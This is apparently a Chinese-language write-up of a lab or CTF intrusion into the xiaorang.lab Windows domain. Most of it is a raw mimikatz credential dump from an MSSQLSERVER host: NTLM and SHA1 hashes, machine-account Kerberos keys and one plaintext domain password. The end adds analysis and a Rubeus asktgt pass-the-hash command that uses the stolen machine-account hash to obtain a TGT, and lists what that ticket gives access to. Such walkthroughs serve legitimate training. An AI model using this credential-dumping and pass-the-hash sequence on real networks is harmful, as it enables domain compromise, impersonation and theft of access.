         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 35122490 (00000000:0217ed3a)
Session           : RemoteInteractive from 2
User Name         : hacks
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 21:17:16
SID               : S-1-5-21-1403470932-1755135066-2609122076-1027
        msv :
         [00000003] Primary
         * Username : hacks
         * Domain   : MSSQLSERVER
         * NTLM     : 161cff084477fe596a5db81874498a24
         * SHA1     : d669f3bccf14bf77d64667ec65aae32d2d10039d
        tspkg :
        wdigest :
         * Username : hacks
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : hacks
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 35089842 (00000000:02176db2)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/4/1 21:17:15
SID               : S-1-5-90-0-2
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 215390 (00000000:0003495e)
Session           : Interactive from 0
User Name         : MSSQLSERVER20
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1023
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER20
         * Domain   : MSSQLSERVER
         * NTLM     : f5c512b9cb3052c5ad35e526d44ba85a
         * SHA1     : b09c8d9463c494d36e1a4656c15af8e1a7e4568f
        tspkg :
        wdigest :
         * Username : MSSQLSERVER20
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER20
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 215227 (00000000:000348bb)
Session           : Interactive from 0
User Name         : MSSQLSERVER18
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1021
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER18
         * Domain   : MSSQLSERVER
         * NTLM     : 31de1b5e8995c7f91070f4a409599c50
         * SHA1     : 070c0d12760e50812236b5717c75222a206aace8
        tspkg :
        wdigest :
         * Username : MSSQLSERVER18
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER18
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 215145 (00000000:00034869)
Session           : Interactive from 0
User Name         : MSSQLSERVER17
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1020
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER17
         * Domain   : MSSQLSERVER
         * NTLM     : 82fe575c8bb18d01df45eb54d0ebc3b4
         * SHA1     : 13b87dcba388982dcc44feeba232bb50aa29c7e9
        tspkg :
        wdigest :
         * Username : MSSQLSERVER17
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER17
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214982 (00000000:000347c6)
Session           : Interactive from 0
User Name         : MSSQLSERVER15
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1018
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER15
         * Domain   : MSSQLSERVER
         * NTLM     : 6eeb34930fa71d82a464ce235261effd
         * SHA1     : 1dfc6d66d9cfdbaa5fc091fedde9a3387771d09b
        tspkg :
        wdigest :
         * Username : MSSQLSERVER15
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER15
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214900 (00000000:00034774)
Session           : Interactive from 0
User Name         : MSSQLSERVER14
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1017
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER14
         * Domain   : MSSQLSERVER
         * NTLM     : 7c8553b614055d945f8b8c3cf8eae789
         * SHA1     : 1efdc2efed20ca503bdefea5aef8aa0ea04c257b
        tspkg :
        wdigest :
         * Username : MSSQLSERVER14
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER14
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214737 (00000000:000346d1)
Session           : Interactive from 0
User Name         : MSSQLSERVER12
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1015
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER12
         * Domain   : MSSQLSERVER
         * NTLM     : 672702a4bd7524269b77dbb6b2e75911
         * SHA1     : c7a828609e4912ab752b43deda8351dc1a8ea240
        tspkg :
        wdigest :
         * Username : MSSQLSERVER12
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER12
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214655 (00000000:0003467f)
Session           : Interactive from 0
User Name         : MSSQLSERVER11
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1014
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER11
         * Domain   : MSSQLSERVER
         * NTLM     : cee10216b2126aa1a3f239b8201120ef
         * SHA1     : 4867093fc519f7d1e91d80e3790ef8a17a7fdd18
        tspkg :
        wdigest :
         * Username : MSSQLSERVER11
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER11
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 213806 (00000000:0003432e)
Session           : Interactive from 0
User Name         : MSSQLSERVER01
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1004
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER01
         * Domain   : MSSQLSERVER
         * NTLM     : ded5ad90b3d8560838a777039641c673
         * SHA1     : a2cd9d2963f29b162847e8a1a2c19d5e0641a162
        tspkg :
        wdigest :
         * Username : MSSQLSERVER01
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER01
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 181888 (00000000:0002c680)
Session           : Service from 0
User Name         : MSSQLFDLauncher
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:55
SID               : S-1-5-80-3263513310-3392720605-1798839546-683002060-3227631582
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 180242 (00000000:0002c012)
Session           : Service from 0
User Name         : MSSQLLaunchpad
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:55
SID               : S-1-5-80-3477044410-376262199-2110164357-2030828471-4165405235
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 92697 (00000000:00016a19)
Session           : Service from 0
User Name         : SSISTELEMETRY130
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:46
SID               : S-1-5-80-1625532266-625503396-2441596095-4129757946-3375356652
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 92614 (00000000:000169c6)
Session           : Service from 0
User Name         : SSASTELEMETRY
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:46
SID               : S-1-5-80-1549978933-2891762758-2075524219-3728768389-1145206490
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 92096 (00000000:000167c0)
Session           : Service from 0
User Name         : SQLTELEMETRY
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:46
SID               : S-1-5-80-2652535364-2169709536-2857650723-2622804123-1107741775
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 91590 (00000000:000165c6)
Session           : Service from 0
User Name         : MsDtsServer130
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:46
SID               : S-1-5-80-3763098489-2620711134-3767674660-4164406483-1621732
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 90040 (00000000:00015fb8)
Session           : Service from 0
User Name         : MSSQLSERVER
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:46
SID               : S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:45
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 63863 (00000000:0000f977)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:45
SID               : S-1-5-90-0-1
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 22660 (00000000:00005884)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:29
SID               :
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : MSSQLSERVER$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:29
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : mssqlserver$
         * Domain   : XIAORANG.LAB
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

mimikatz #

mimikatz信息分析

Authentication Id : 0 ; 268961 (00000000:00041aa1)
User Name         : William
Domain            : XIAORANG
Logon Server      : DC
...
kerberos :
 * Username : William
 * Domain   : XIAORANG.LAB
 * Password : Willg1UoO6Jt          <--- 明文密码！

用户 William 在 XIAORANG.LAB 域中

登录服务器是 DC（域控制器 172.22.2.3）

密码明文显示：Willg1UoO6Jt

本地用户的 NTLM 哈希

User Name         : hacks
Domain            : MSSQLSERVER
...
msv :
 * Username : hacks
 * Domain   : MSSQLSERVER
 * NTLM     : 161cff084477fe596a5db81874498a24
 * SHA1     : d669f3bccf14bf77d64667ec65aae32d2d10039d

hacks 是 MSSQLSERVER 本地的用户（不是域用户，因为 Domain 是 MSSQLSERVER)

MSSQLSERVER$ 不是计算机名，而是计算机在域中的身份账号。

  • 计算机名：MSSQLSERVER（不带 $）
  • 域计算机账号：MSSQLSERVER$（带 $）

本机MSSQLSERVER$域内用户的NTLM

注意点：MSSQLSERVER$域内用户可能有多个ntlm值，因为计算机账号的密码是定期自动轮换的！，LSASS 内存中可能同时存在新旧两个版本的密码，旧密码会保留一段时间（可能也能用，Kerberos 和 NTLM 认证通常会接受旧密码一段时间）

那么我应该用哪一个ntlm呢，优先关注 在域内xiaorang，且是MSSQLSERVER$，登陆时间是最近的

image-20260401220333912
image-20260402145052504
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:a38f532b3c2582327f93c4a30a615dda /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt

asktgt	-	向域控请求 TGT票据
/user:MSSQLSERVER$	计算机账号	要请求 TGT 的用户身份
/rc4:a38f532b...	NTLM 哈希	代替密码进行认证（Pass the Hash）
/domain:xiaorang.lab	域名	目标域
/dc:DC.xiaorang.lab	域控地址	向哪台域控请求 TGT
/nowrap	-	输出的 Base64 票据不换行，方便复制
> 1.txt	-	将输出结果保存到 1.txt 文件
┌─────────────────┐                    ┌─────────────────┐
│  MSSQLSERVER    │                    │  DC.xiaorang.lab│
│  (你的机器)      │                    │  (域控)          │
└────────┬────────┘                    └────────┬────────┘
         │                                      │
         │ 1. 发送认证请求                       │
         │    "我是 MSSQLSERVER$"               │
         │    "这是我的 NTLM 哈希验证"            │
         │    a38f532b3c2582327f93c4a30a615dda  │
         │ ──────────────────────────────────►  │
         │                                      │
         │                                      │ 2. 验证哈希正确
         │                                      │    确认计算机账号存在
         │                                      │
         │ 3. 返回 TGT (Base64 编码)            │
         │ ◄──────────────────────────────────  │
         │                                      │
         │ 4. 保存到 1.txt                       │
         │                                      │
TGT 有什么用途？

TGT 是 Kerb	eros 认证中的顶级票据。拥有 TGT 意味着：
1.申请任何服务的票据	可以用 TGT 向域控请求访问任意服务的 ST（Service Ticket）
2.冒充计算机身份	所有请求都以 MSSQLSERVER$ 的身份执行
3.访问域内资源	如 C$ 共享、LDAP、WinRM 等
